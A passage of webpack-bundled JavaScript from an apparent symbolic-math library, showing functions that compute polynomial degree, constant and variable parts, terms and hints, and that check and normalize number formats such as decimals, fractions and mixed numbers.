_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TAN:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCSIN:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCOS:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCTAN:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCSEC:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCSC:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCOT:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SEC:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CSC:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COT:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SINH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COSH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TANH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCSINH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCOSH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCTANH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCSECH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCSCH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCOTH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SECH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CSCH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COTH:\n // Degree of a function is 1.\n return 1;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SQRT:\n// assert(args.length === 1, message(2003));\n return Number.POSITIVE_INFINITY;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FACT:\n if (d !== 0) {\n return nodePositiveInfinity;\n }\n return 0;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].INTEGRAL:\n return Number.POSITIVE_INFINITY;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].DEGREE:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NONE:\n default:\n return 0;\n }\n },\n variable: function(node) {\n return 1;\n },\n comma: function(node) {\n return [];\n },\n equals: function(node) {\n // Return the degree of the highest degree term.\n var args = node.args;\n var d = 0;\n var t;\n args.forEach(function (n) {\n t = degree(n, notAbsolute);\n if (t > d) {\n d = t;\n }\n });\n return d;\n }\n });\n }\n\n // Compute the constant part of an expression. The result of 'constantPart'\n // and 'variablePart' are complements. Their product are equivSymbolic with\n // the original expression.\n function constantPart(root) {\n // console.trace(\"constantPart() root=\" + JSON.stringify(root, null, 2));\n var env = _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].env;\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Internal error.\");\n return visit(options, root, {\n name: \"constantPart\",\n exponential: function (node) {\n if (variablePart(node) === null) {\n // No variable part, so it's all constant part.\n // console.trace(\"constantPart() exponential node=\" + JSON.stringify(node, null, 2));\n return node;\n }\n return nodeOne;\n },\n multiplicative: function (node) {\n var args = [];\n let isNeg = false;\n node.args.forEach(function (n) {\n var cp = constantPart(n);\n if (!isOne(cp)) {\n // No vars so we have a constant.\n var mv = mathValue(options, cp, env, true);\n if (isOne(mv)) {\n // Got one, skip it.\n } else if (isMinusOne(mv)) {\n isNeg = !isNeg;\n } else if (isZero(mv)) {\n args.shift(nodeZero);\n } else {\n args.push(n);\n }\n } // Otherwise it's a variable part. Skip it.\n });\n // console.trace(\"constantPart() multiplicative isNeg=\" + isNeg + \" args=\" + JSON.stringify(args, null, 2));\n if (args.length === 0) {\n return isNeg && nodeMinusOne || nodeOne;\n } else if (args.length === 1) {\n return isNeg && negate(args[0]) || args[0];\n }\n return isNeg && negate(multiplyNode(args)) || multiplyNode(args);\n },\n additive: function (node) {\n // (x + 2)(x - 1)\n var result = node.args.some(function (n) {\n // If some part has a variable part, the whole is not a constant part.\n return variablePart(n) !== null;\n });\n if (!result) {\n return node;\n }\n return nodeOne;\n },\n unary: function(node) {\n var result = node.args.some(function (n) {\n // If some part has a variable part, the whole is not a constant part.\n return variablePart(n) !== null;\n });\n if (!result) {\n return node;\n }\n return nodeOne;\n },\n numeric: function(node) {\n return node;\n },\n variable: function(node) {\n if (variablePart(node) === null) {\n // It's not a variable part, so it must be a constant part.\n return node;\n }\n return nodeOne;\n },\n comma: function(node) {\n if (variablePart(node) === null) {\n // It's not a variable part, so it must be a constant part.\n return node;\n }\n return nodeOne;\n },\n equals: function(node) {\n if (variablePart(node) === null) {\n // It's not a variable part, so it must be a constant part.\n return node;\n }\n return nodeOne;\n }\n });\n }\n\n // Compute the unique variables of an expression.\n function variables(root) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Internal error.\");\n return visit(options, root, {\n name: \"variables\",\n exponential: function (node) {\n var args = node.args;\n var val = [];\n args.forEach(function (n) {\n var vars = variables(n);\n vars.forEach(function (v) {\n if (val.indexOf(v) < 0) {\n val.push(v);\n }\n });\n });\n return val;\n },\n multiplicative: function (node) {\n var args = node.args;\n var val = [];\n args.forEach(function (n) {\n var vars = variables(n);\n vars.forEach(function (v) {\n if (val.indexOf(v) < 0) {\n val.push(v);\n }\n });\n });\n return val;\n },\n additive: function (node) {\n var args = node.args;\n var val = [];\n args.forEach(function (n) {\n var vars = variables(n);\n vars.forEach(function (v) {\n if (val.indexOf(v) < 0) {\n val.push(v);\n }\n });\n });\n return val;\n },\n unary: function(node) {\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].OPERATORNAME) {\n // Skip the operator name.\n return variables(node.args[1]);\n }\n var args = node.args;\n var val = [];\n args.forEach(function (n) {\n var vars = variables(n);\n vars.forEach(function (v) {\n if (val.indexOf(v) < 0) {\n val.push(v);\n }\n });\n });\n return val;\n },\n numeric: function(node) {\n return [];\n },\n variable: function(node) {\n if (node.args[0] === \"0\") {\n // Is synthetic.\n return [];\n }\n var v = unpack(node);\n return [v];\n function unpack(node) {\n var v = \"\";\n node.args.forEach(function (n) {\n if (v === \"\") {\n if (n.op) {\n v = unpack(n);\n } else {\n v = n;\n }\n } else {\n v += \"_\" + unpack(n);\n }\n });\n return v;\n }\n },\n comma: function(node) {\n var args = node.args;\n var val = [];\n // FIXME should this be a list of strings or a list of arrays of\n // strings?\n args.forEach(function (n) {\n var vars = variables(n);\n vars.forEach(function (v) {\n if (val.indexOf(v) < 0) {\n val.push(v);\n }\n });\n });\n return val;\n },\n equals: function(node) {\n var args = node.args;\n var val = [];\n args.forEach(function (n) {\n var vars = variables(n);\n vars.forEach(function (v) {\n if (val.indexOf(v) < 0) {\n val.push(v);\n }\n });\n });\n return val;\n }\n });\n }\n\n function hint(root) {\n // Collect all of the hints attached to this node.\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Internal error.\");\n return visit(options, root, {\n name: \"hints\",\n exponential: function(node) {\n var hints = [];\n if (node.hints instanceof Array) {\n hints = hints.concat(node.hints);\n }\n node.args.forEach(function (n) {\n hints = hints.concat(hint(n));\n });\n if (!node.args[1].lbrk) {\n hints.push(Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"message\"])(2016));\n }\n return hints;\n },\n multiplicative: function(node) {\n var hints = [];\n if (node.hints instanceof Array) {\n hints = hints.concat(node.hints);\n }\n node.args.forEach(function (n) {\n hints = hints.concat(hint(n));\n });\n return hints;\n },\n additive: function(node) {\n var hints = [];\n if (node.hints instanceof Array) {\n hints = hints.concat(node.hints);\n }\n node.args.forEach(function (n) {\n hints = hints.concat(hint(n));\n });\n return hints;\n },\n unary: function(node) {\n var hints = [];\n if (node.hints instanceof Array) {\n hints = hints.concat(node.hints);\n }\n node.args.forEach(function (n) {\n hints = hints.concat(hint(n));\n });\n return hints;\n },\n numeric: function(node) {\n var hints = [];\n if (node.hints instanceof Array) {\n hints = hints.concat(node.hints);\n }\n return hints;\n },\n variable: function(node) {\n var hints = [];\n if (node.hints instanceof Array) {\n hints = hints.concat(node.hints);\n }\n return hints;\n },\n comma: function(node) {\n var hints = [];\n if (node.hints instanceof Array) {\n hints = hints.concat(node.hints);\n }\n node.args.forEach(function (n) {\n hints = hints.concat(hint(n));\n });\n return hints;\n },\n equals: function(node) {\n var hints = [];\n if (node.hints instanceof Array) {\n hints = hints.concat(node.hints);\n }\n node.args.forEach(function (n) {\n hints = hints.concat(hint(n));\n });\n return hints;\n }\n });\n }\n\n // Compute the variable part of the expression. The result of 'coeff' and\n // 'variablePart' are complements. Their product are equivSymbolic with the\n // original expression.\n function variablePart(root) {\n var env = _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].env;\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Internal error.\");\n return visit(options, root, {\n name: \"variablePart\",\n exponential: function (node) {\n if (variablePart(node.args[0]) ||\n variablePart(node.args[1])) {\n // Either base or exponent has a variable part, so the whole is a variable part.\n return node;\n }\n return null;\n },\n multiplicative: function (node) {\n // 3x^2y^3\n var args = [];\n node.args.forEach(function (n) {\n var v = variablePart(n);\n if (v !== null) {\n args.push(v);\n }\n });\n if (args.length === 0) {\n return null;\n } else if (args.length === 1) {\n return args[0];\n }\n return multiplyNode(args);\n },\n additive: function (node) {\n // (x + 2)(x - 1)\n var result = node.args.some(function (n) {\n // If some part has a variable part, the whole is a variable part.\n return variablePart(n) !== null;\n });\n if (result) {\n return node;\n }\n return null;\n },\n unary: function(node) {\n var vp = variablePart(node.args[0]);\n if (vp !== null) {\n return node;\n }\n return null;\n },\n numeric: function(node) {\n return null;\n },\n variable: function(node) {\n var val;\n if (mathValue(options, node, true) === null &&\n node.args[0] !== \"i\") {\n // If it doesn't have a math value and is not 'i'.\n return node;\n }\n return null;\n },\n comma: function(node) {\n var vars = [];\n node.args.forEach(function (n) {\n vars = vars.concat(variables(n, env));\n });\n if (vars.length !== 0) {\n return node;\n }\n return null;\n },\n equals: function(node) {\n var vars = [];\n node.args.forEach(function (n) {\n vars = vars.concat(variables(n, env));\n });\n if (vars.length !== 0) {\n return node;\n }\n return null;\n }\n });\n }\n\n // Get the terms of an expression\n function terms(root) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Internal error.\");\n return visit(options, root, {\n name: \"terms\",\n exponential: function (node) {\n return [node];\n },\n multiplicative: function (node) {\n return [node];\n },\n additive: function (node) {\n var vals = [];\n node.args.forEach(function (n) {\n vals = vals.concat(terms(n));\n });\n return vals;\n },\n unary: function(node) {\n return [node];\n },\n numeric: function(node) {\n return [node];\n },\n variable: function(node) {\n return [node];\n },\n comma: function(node) {\n var vals = [];\n node.args.forEach(function (n) {\n vals = vals.concat(terms(n));\n });\n return vals;\n },\n equals: function(node) {\n var vals = [];\n node.args.forEach(function (n) {\n vals = vals.concat(terms(n));\n });\n return vals;\n }\n });\n }\n\n function subexprs(root) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Internal error.\");\n return visit(options, root, {\n name: \"terms\",\n exponential: function (node) {\n var exprs = [];\n node.args.forEach(function (n) {\n exprs = exprs.concat(subexprs(n));\n });\n return exprs;\n },\n multiplicative: function (node) {\n var exprs = [];\n node.args.forEach(function (n) {\n exprs = exprs.concat(subexprs(n));\n });\n return exprs;\n },\n additive: function (node) {\n var exprs = [];\n if (node.isRepeating) {\n return [node];\n }\n node.args.forEach(function (n) {\n exprs = exprs.concat(subexprs(n));\n });\n return exprs;\n },\n unary: function(node) {\n var exprs = [];\n node.args.forEach(function (n) {\n exprs = exprs.concat(subexprs(n));\n });\n return exprs;\n },\n numeric: function(node) {\n return [node];\n },\n variable: function(node) {\n return [node];\n },\n comma: function(node) {\n var exprs = [];\n node.args.forEach(function (n) {\n exprs = exprs.concat(subexprs(n));\n });\n return exprs;\n },\n equals: function(node) {\n var exprs = [];\n node.args.forEach(function (n) {\n exprs = exprs.concat(subexprs(n));\n });\n return exprs;\n }\n });\n }\n\n function normalizeFormatObject(fmt) {\n // Normalize the fmt object to an array of objects\n var list = [];\n switch (fmt.op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].VAR:\n list.push({\n code: fmt.args[0]\n });\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL:\n var code = \"\";\n var length = undefined; // undefined and zero have different meanings.\n fmt.args.forEach(function (f) {\n if (f.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].VAR) {\n code += f.args[0];\n } else if (f.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM) {\n length = +f.args[0];\n }\n });\n list.push({\n code: code,\n length: length\n });\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COMMA:\n fmt.args.forEach(function (f) {\n list = list.concat(normalizeFormatObject(f));\n });\n break;\n }\n return list;\n }\n\n function checkNumberFormat(fmt, node) {\n var fmtList = normalizeFormatObject(fmt);\n return fmtList.some(function (f) {\n var code = f.code;\n var length = f.length;\n switch (code) {\n case \"\\\\integer\":\n if (node.numberFormat === \"integer\") {\n if (length === undefined || length === node.args[0].length) {\n // If there is no size or if the size matches the value...\n return true;\n }\n }\n break;\n case \"\\\\decimal\":\n if (node.numberFormat === \"decimal\" &&\n node.isRepeating) {\n if (length === undefined) {\n return true;\n } else {\n // Repeating is infinite.\n return false;\n }\n }\n if (node.numberFormat === \"decimal\" ||\n node.numberFormat === \"integer\") {\n if (length === undefined ||\n length === 0 && node.args[0].indexOf(\".\") === -1 ||\n length === node.args[0].substring(node.args[0].indexOf(\".\") + 1).length + (node.hasTrailingZeros || 0)) {\n // If there is no size or if the size matches the value...\n return true;\n }\n }\n break;\n case \"\\\\number\":\n if (node.numberFormat === \"decimal\" &&\n node.isRepeating) {\n if (length === undefined) {\n return true;\n } else {\n // Repeating is infinite.\n return false;\n }\n }\n if (node.numberFormat === \"integer\" ||\n node.numberFormat === \"decimal\") {\n var brk = node.args[0].indexOf(\".\");\n if (length === undefined ||\n length === 0 && brk === -1 ||\n brk >= 0 && length === node.args[0].substring(brk + 1).length + (node.hasTrailingZeros || 0)) {\n // If there is no size or if the size matches the value...\n return true;\n }\n }\n break;\n case \"\\\\scientific\":\n if (node.isScientific) {\n var coeff = node.args[0].args[0];\n if (length === undefined ||\n length === 0 && coeff.indexOf(\".\") === -1 ||\n length === coeff.substring(coeff.indexOf(\".\") + 1).length + (node.hasTrailingZeros || 0)) {\n // If there is no size or if the size matches the value...\n return true;\n }\n }\n break;\n case \"\\\\fraction\":\n if (node.isFraction ||\n node.isMixedNumber ||\n node.numberFormat === \"integer\") {\n return true;\n }\n break;\n case \"\\\\simpleFraction\":\n case \"\\\\nonMixedNumber\": // Deprecated\n if (node.isFraction ||\n node.numberFormat === \"integer\") {\n return true;\n }\n break;\n case \"\\\\mixedFraction\": // Deprecated\n case \"\\\\mixedNumber\":\n var mv;\n if (node.isMixedNumber ||\n node.numberFormat === \"integer\") {\n return true;\n } else if (node.isFraction &&\n (mv = mathValue(options, normalize(options, node), true)) &&\n mv.cmp(bigMinusOne) === 1 &&\n mv.cmp(bigOne) === -1) {\n return true;\n }\n break;\n case \"\\\\fractionOrDecimal\":\n if (node.isFraction ||\n node.isMixedNumber ||\n node.numberFormat === \"decimal\" ||\n node.numberFormat === \"integer\") {\n return true;\n }\n break;\n default:\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(false, Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"message\"])(2015, [code]));\n break;\n }\n });\n }\n\n function toMixedNumber(node) {\n var n, d, nmv, dmv;\n switch (node.op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC:\n n = node.args[0];\n d = node.args[1];\n nmv = mathValue(options, n);\n dmv = mathValue(options, d);\n if (isLessThan(nmv, dmv)) {\n return node;\n } else {\n // I+(N-I*D)/D\n var mv = mathValue(options, normalize(options, node), true);\n var ip = mv.mant.slice(0, mv.mant.length + mv.exp).join(\"\");\n var np = String(nmv - dmv.times(toDecimal(ip)));\n var dp = String(dmv);\n node = binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL, [numberNode(options, ip), binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC, [numberNode(options, np), numberNode(options, dp)])]);\n node.isMixedNumber = true;\n return node;\n }\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM:\n if (node.numberFormat === \"decimal\") {\n var mv = mathValue(options, normalize(options, node), true);\n var ip = mv.mant.slice(0, mv.mant.length + mv.exp).join(\"\");\n var np = mv.mant.slice(mv.mant.length + mv.exp).join(\"\");\n var dp = String(Math.pow(10, Math.abs(mv.exp)));\n var fp = simplify(options, expand(options, fractionNode(numberNode(options, np), numberNode(options, dp))));\n if (fp.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(fp.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM && // dp\n fp.args[1].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM &&\n fp.args[1].args[0] === \"-1\");\n np = nodeOne;\n dp = fp.args[0];\n } else {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(fp.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL &&\n fp.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM && // np\n fp.args[1].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW &&\n fp.args[1].args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM && // dp\n fp.args[1].args[1].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM &&\n fp.args[1].args[1].args[0] === \"-1\");\n np = fp.args[0];\n dp = fp.args[1].args[0];\n }\n node = binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL, [numberNode(options, ip), binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC, [np, dp])]);\n node.isMixedNumber = true;\n } else {\n return node;\n }\n default:\n return node;\n }\n }\n\n function formatExpression(fmt, node) {\n var fmtList = normalizeFormatObject(fmt);\n // TODO support multiple format strings. Return all formats.\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(fmtList.length === 1, \"2000: Internal error.\");\n var fmt = fmtList[0];\n var code = fmt.code;\n var length = fmt.length;\n switch (code) {\n case \"\\\\integer\":\n if (node.numberFormat === \"integer\") {\n if (length === undefined || length === node.args[0].length) {\n // If there is no size or if the size matches the value...\n return true;\n }\n }\n break;\n case \"\\\\decimal\":\n case \"\\\\scientific\":\n case \"\\\\number\":\n if (node.numberFormat === \"decimal\" &&\n node.isRepeating) {\n if (length === undefined) {\n return node;\n } else {\n // Repeating is infinite.\n return node; // FIXME round?\n }\n }\n return formatNumber(fmt, node);\n case \"\\\\fraction\":\n if (node.isFraction ||\n node.isMixedNumber) {\n return node;\n }\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(false, \"FIXME missing conversion to fraction\")\n break;\n case \"\\\\simpleFraction\":\n case \"\\\\nonMixedFraction\": // Deprecated\n if (node.isFraction) {\n return node;\n }\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(false, \"FIXME missing conversion to fraction\")\n break;\n case \"\\\\mixedFraction\":\n case \"\\\\mixedNumber\":\n if (node.isMixedNumber) {\n return node;\n }\n return toMixedNumber(node);\n case \"\\\\fractionOrDecimal\":\n if (node.isFraction ||\n node.isMixedNumber ||\n node.numberFormat === \"decimal\") {\n return node;\n }\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(false, \"FIXME missing conversion to fraction or decimal\")\n break;\n default:\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(false, Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"message\"])(2015, [code]));\n break;\n }\n }\n\n // function formatNumber(fmt, node) {\n // // TODO rewrite to remove Decimal dependency, which is incomplete\n // var mv = mathValue(options, normalize(options, node), true);\n // var before = -1,\n // after = -1,\n // explaces = -1,\n // exdigits = -1,\n // exform = MathContext.SCIENTIFIC,\n // exround = -1;\n // switch (fmt.code) {\n // case \"\\\\decimal\":\n // after = fmt.length;\n // break;\n // case \"\\\\scientific\":\n // case \"\\\\engineering\":\n // exdigits = 1;\n // after = fmt.length || -1;\n // break;\n // default:\n // // Use defaults.\n // break;\n // }\n // var str = mv.format(before, after, explaces, exdigits, exform, exround);\n // if (fmt.code === \"\\\\scientific\" && str.indexOf(\"E+\") >= 0) {\n // str = str.replace(\"E+\", \"\\\\times10^{\") + \"}\";\n // }\n // return str;\n // }\n function formatNumber(fmt, node) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(false, \"Update for Decimal class\");\n var mv = mathValue(options, normalize(options, node), true);\n switch (fmt.code) {\n case \"\\\\decimal\":\n break;\n case \"\\\\scientific\":\n case \"\\\\engineering\":\n break;\n default:\n // Use defaults.\n break;\n }\n var str = mv.toString();\n if (fmt.code === \"\\\\scientific\" && str.indexOf(\"E+\") >= 0) {\n str = str.replace(\"E+\", \"\\\\times10^{\") + \"}\";\n }\n return str;\n }\n\n function formatMath(options, root, ref) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(options);\n options = options || {};\n if (!ref || !ref.args) {\n // If not ref, then the structure of nodes is different, so just return original root.\n ref = {args:[]};\n }\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Internal error.\");\n var nid = ast.intern(root);\n var node = _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].create(options, visit(options, root, {\n name: \"formatMath\",\n numeric: function (node) {\n if (ref && ref.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB &&\n ref.args.length === 1 &&\n ref.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FORMAT) {\n // We have unary minus. Strip minus.\n ref = ref.args[0];\n }\n return formatExpression(ref.args[0], node);\n },\n additive: function (node) {\n var args = [];\n if (ref && ref.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FORMAT) {\n return formatExpression(ref.args[0], node);\n }\n node.args.forEach(function (n, i) {\n n = formatMath(options, n, ref.args[i]);\n args.push(n);\n });\n return binaryNode(node.op, args);\n },\n multiplicative: function(node) {\n ref = flattenNestedMultiplyNodes(ref);\n node = flattenNestedMultiplyNodes(node);\n var args = [];\n if (ref && ref.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FORMAT) {\n return formatExpression(ref.args[0], node);\n }\n node.args.forEach(function (n, i) {\n n = formatMath(options, n, ref.args[i]);\n args.push(n);\n });\n return multiplyNode(args);\n },\n unary: function(node) {\n var arg0 = formatMath(options, node.args[0], ref.args[0]);\n switch (node.op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PERCENT:\n node = unaryNode(node.op, [arg0]); // Percent compares only to other percent forms\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB:\n if (ref && ref.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FORMAT) {\n return formatExpression(ref.args[0], node);\n }\n node = negate(arg0, true);\n break;\n default:\n node = unaryNode(node.op, [arg0]);\n break;\n }\n return node;\n },\n variable: function(node) {\n return node;\n },\n exponential: function(node) {\n var args = [];\n if (ref && ref.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FORMAT) {\n return formatExpression(ref.args[0], node);\n }\n node.args.forEach(function (n, i) {\n n = formatMath(options, n, ref.args[i]);\n args.push(n);\n });\n return binaryNode(node.op, args);\n },\n comma: function(node) {\n var vals = [];\n node.args.forEach(function (n, i) {\n vals = vals.concat(formatMath(options, n, ref.args[i]));\n });\n var node = newNode(node.op, vals);\n return node;\n },\n equals: function(node) {\n var args = [];\n node.args.forEach(function (n, i) {\n n = formatMath(options, n, ref.args[i]);\n args.push(n);\n });\n return binaryNode(node.op, args);\n }\n }), root.location);\n return node;\n }\n\n function checkVariableFormat(fmt, id) {\n var fmtList = normalizeFormatObject(fmt);\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(fmtList.length === 1, \"2000: Internal error.\");\n var code = fmtList[0].code;\n var length = fmtList[0].length; // Possibly undefined.\n var name;\n switch (code) {\n case \"\\\\variable\":\n if (length === undefined) {\n // If length is undefined, then accept any variable.\n name = \"_\";\n } else if (!(name = varMap[id])) {\n // If not in the map then add it.\n // But only if the synthetic name is not already taken.\n if (varNames.indexOf(\"_\" + length) < 0) {\n varMap[id] = name = \"_\" + length;\n varNames.push(name);\n } else {\n name = id; // No match, so use the original name.\n }\n }\n break;\n case \"\\\\integer\":\n case \"\\\\decimal\":\n case \"\\\\number\":\n case \"\\\\scientific\":\n case \"\\\\fraction\":\n case \"\\\\mixedFraction\": // Deprecated\n case \"\\\\mixedNumber\":\n case \"\\\\nonMixedNumber\":\n case \"\\\\fractionOrDecimal\":\n name = id; // Do nothing.\n break;\n default:\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(false, Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"message\"])(2015, [code]));\n break;\n }\n return name;\n }\n\n function isEmptyNode(node) {\n return node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].VAR && node.args[0] === \"0\";\n }\n\n function flattenNestedMultiplyNodes(node) {\n var args = [];\n if (node.op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL || node.isScientific) {\n // Scientific notation is a special case that needs to keep its shape.\n return node;\n }\n node.args.forEach(function (n) {\n if (n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n n.args.forEach(function (n) {\n args = args.concat(flattenNestedMultiplyNodes(n));\n });\n } else {\n args.push(n);\n }\n });\n return multiplyNode(args, true);\n }\n\n function normalizeSyntax(options, root, ref) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(options);\n options = options || {};\n if (!ref || !ref.args) {\n // If not ref, then the structure of nodes is different, so just return original root.\n ref = {args:[]};\n }\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Internal error.\");\n var nid = ast.intern(root);\n var node = _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].create(options, visit(options, root, {\n name: \"normalizeSyntax\",\n format: function(node) {\n var fmtList = normalizeFormatObject(node.args[0]);\n if (fmtList[0].code === \"\\\\variable\") {\n var id;\n if (fmtList[0].length === undefined) {\n id = \"_\";\n } else {\n id = \"_\" + fmtList[0].length;\n }\n return variableNode(id);\n }\n return normalNumber;\n },\n numeric: function (node) {\n if (ref && ref.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB &&\n ref.args.length === 1 &&\n ref.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FORMAT) {\n // We have unary minus. Strip minus.\n ref = ref.args[0];\n }\n if (ref && ref.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FORMAT &&\n checkNumberFormat(ref.args[0], node)) {\n return normalNumber;\n }\n let arg;\n if (ref.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM && (arg = ref.args[0]).indexOf(\".\") === arg.length - 1) {\n // Trim off trailing decimal separator.\n ref.args[0] = arg.slice(0, arg.length - 1);\n }\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM && (arg = node.args[0]).indexOf(\".\") === arg.length - 1) {\n // Ditto.\n node.args[0] = arg.slice(0, arg.length - 1);\n }\n return node;\n },\n additive: function (node) {\n var args = [];\n if (ref && ref.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FORMAT &&\n checkNumberFormat(ref.args[0], node)) {\n // Found a mixed fraction.\n return normalNumber;\n }\n node.args.forEach(function (n, i) {\n n = normalizeSyntax(options, n, ref.args[i]);\n args.push(n);\n });\n return addNode(args);\n },\n multiplicative: function(node) {\n ref = flattenNestedMultiplyNodes(ref);\n node = flattenNestedMultiplyNodes(node);\n var args = [];\n if (ref && ref.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FORMAT &&\n checkNumberFormat(ref.args[0], node)) {\n return normalNumber;\n }\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CDOT || node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TIMES || node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COEFF) {\n node = multiplyNode(node.args);\n }\n node.args.forEach(function (n, i) {\n n 